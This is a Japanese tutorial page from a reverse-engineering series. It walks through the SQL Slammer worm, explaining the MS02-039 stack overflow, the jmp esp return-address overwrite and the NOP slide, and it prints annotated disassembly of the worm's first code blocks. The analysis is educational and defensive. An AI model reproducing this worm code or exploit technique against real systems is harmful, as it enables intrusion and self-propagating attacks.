SQL Slammerのコードを解析せよ!:リバースエンジニアリング入門(最終回)(2/3 ページ)
コンピュータウイルスの解析などに欠かせないリバースエンジニアリング技術ですが、何だか難しそうだな、という印象を抱いている人も多いのではないでしょうか。この連載では、「シェルコード」を例に、実践形式でその基礎を紹介していきます。(編集部)
実際のマルウェアを相手にLet's 逆アセンブル!
まず、SQL Slammerのエントリポイント(開始点)を見つけます。このエントリポイントを見つけるにはMS02-039の脆弱性についての理解が必要になってきますので、簡単にこの脆弱性の概要を説明します。
MS02-039はスタックバッファオーバーフローの脆弱性です。バッファを溢れさせることにより、スタック上に置かれたリターンアドレスを上書きし、任意のコードへジャンプさせます。
図2と図3でSQL Slammerがバッファを溢れさせ、エントリポイントへジャンプするまでの様子を説明します。まず、脆弱性を含む関数のリターンアドレスがスタックに置かれ、その上にバッファが確保されます(図2左)。SQL Slammerが送りつけたUDPパケットがこのバッファに格納されると、バッファが溢れ、リターンアドレスを42B0C9DChで上書きします(図2右)。
この42B0C9DChの値はMSDEプロセス内のメモリアドレスを意味しており、このアドレスにはjmp esp命令があります。上書きされたリターンアドレスが読み込まれると、命令ポインタは42B0C9DChにあるjmp espをポイントし、この命令を実行します。
一方で、スタックポインタ(esp)はリターンアドレスが配置されていたアドレスより4バイト下(アドレスとしては4バイト上位)を指しています(図3左)。espが指すアドレスには12バイト先にジャンプするjmp命令(jmp loc_C7)があります。eipがjmp esp命令を実行すると、このjmp loc_C7命令をポイントします(図3中央)。jmp loc_C7命令が実行されると12バイト先のnop命令にジャンプし(図3右)、そこからスライディングし、000000CFhにあるpush命令が実行されます(図4)。ここがSQL Slammerのエントリポイントになります。
リターンアドレス周辺をIDAで見てみると、図4のようになっています。000000C7hから000000CEhにあるNOP命令の後の000000CFhがSQL Slammerのエントリポイントになっています。
それではこのエントリポイントから、SQL Slammerのコードを解析していきましょう。今回のSQL Slammerのコードはスタックを多用します。各スタック操作が何をしているのか見失わないように、注意深く追いかけていくことにします。
また、SQL Slammerのコードの中にはWin32 APIを呼び出すためにメモリアドレスを直接指定している個所があります。これらのメモリアドレスは本来SQL Slammerが実行されるプロセスのメモリ空間から探してきます。この各アドレスにどのような命令や関数が存在しているかを確認するには、MS02-039の脆弱性を持つSQL Server 2000の実行ファイルが必要になりますが、現在、このバージョンのファイルを入手することは困難だと考えられますので、今回は各アドレスの意味は既知のものとして扱って説明を進めていきます。
注意深くコードブロックを解析する
さて、それでは最初のコードブロックです。この部分ではバッファを溢れさせるためのデータを作成しています。ここからスタック上に構築されるデータは、後ほどSQL Slammerが外部に送信するパケットに含まれるデータになります。つまり、先ほど見たslammer.pcapのペイロード部分のデータを構築していきます。
seg000:000000CF push 42B0C9DCh ;スタックに42B0C9DChを積む seg000:000000D4 mov eax, 1010101h ;eaxに1010101hを格納 seg000:000000D9 xor ecx, ecx ;ecxの値を0クリア seg000:000000DB mov cl, 18h ;cl(ecxの下位レジスタ)に18hを格納 seg000:000000DD seg000:000000DD loc_DD: seg000:000000DD push eax ;eax(01010101h)をスタックに積む seg000:000000DE loop loc_DD ;ecxが0でなければloc_DDへジャンプ(つまり24回、1010101hをスタックに積む)
最初にスタックに積んでいる42B0C9DChの値は、先ほど説明したjmp esp命令が格納されているメモリアドレスになります。seg000:000000DD〜seg000:000000DEでは、01010101hをスタックに24(18h)回積み、バッファを溢れさせるデータを作り出します。
上記のアセンブリコードを実行した後のスタックの様子は図5のようになります。
上記のコードブロックを実行後のeaxには1010101hが、ecxには0が入っています。
それでは、次のブロックを見てみます。
seg000:000000E0 xor eax, 5010101h ;eax(1010101h) XOR 5010101h=4000000h seg000:000000E5 push eax ;eax(4000000h)をスタックに積む seg000:000000E6 mov ebp, esp ;espの値をebpに格納 seg000:000000E8 push ecx ;ecx(00000000h)をスタックに積む seg000:000000E9 push 6C6C642Eh ;'.dll'をスタックに積む seg000:000000EE push 32336C65h ;'el32'をスタックに積む seg000:000000F3 push 6E72656Bh ;'kern'をスタックに積む
seg000:000000E9〜seg000:000000F3の部分で4バイトの値を3回スタックにPUSHしています。一見、何をしているか分からないのですが、pushしている値を文字列としてASCII表示してみると、“.dll”“el32”“kern”という文字列を積んでいることが分かります。
このコードブロックが実行された後のスタックの状態を図示すると、図6のようになります。seg000:000000E9〜seg000:000000F3でスタックに積んだ3つの4バイトは“kernel32.dll”となります。
SQL Slammerはこれと同様の方法を使って、ロードするモジュール名や呼び出したいAPI名などの文字列をスタック上に用意していきます。
次のコードブロックでも同様に、スタック上にモジュールやAPI名の文字列を用意しています。各4バイトの値を文字列として表示してみましょう。
seg000:000000F8 push ecx ; ecx(00000000h)をスタックに積む seg000:000000F9 push 746E756Fh ; 'ount'をスタックに積む seg000:000000FE push 436B6369h ; 'ickC'をスタックに積む seg000:00000103 push 54746547h ; 'GetT'をスタックに積む seg000:00000108 mov cx, 6C6Ch ; ecxの下位(cx)に'll'を格納 seg000:0000010C push ecx ; 'll\0\0'をスタックに積む seg000:0000010D push 642E3233h ; '32.d'をスタックに積む seg000:00000112 push 5F327377h ; 'ws2_'をスタックに積む seg000:00000117 mov cx, 7465h ; ecxの下位(cx)に'et'を格納 seg000:0000011B push ecx ; 'et\0\0'をスタックに積む seg000:0000011C push 6B636F73h ; 'sock'をスタックに積む seg000:00000121 mov cx, 6F74h ; ecxの下位(cx)に'to'を格納 seg000:00000125 push ecx ; 'to\0\0'をスタックに積む seg000:00000126 push 646E6573h ; 'send'をスタックに積む
上記のアセンブリ命令を実行した後のスタックの状況を図示すると、図7のようになります。「kernel32.dll」「GetTickCount」「ws2_32.dll」「socket」「sendto」の4つの文字列をスタック上に構築しています。
Copyright © ITmedia, Inc. All Rights Reserved.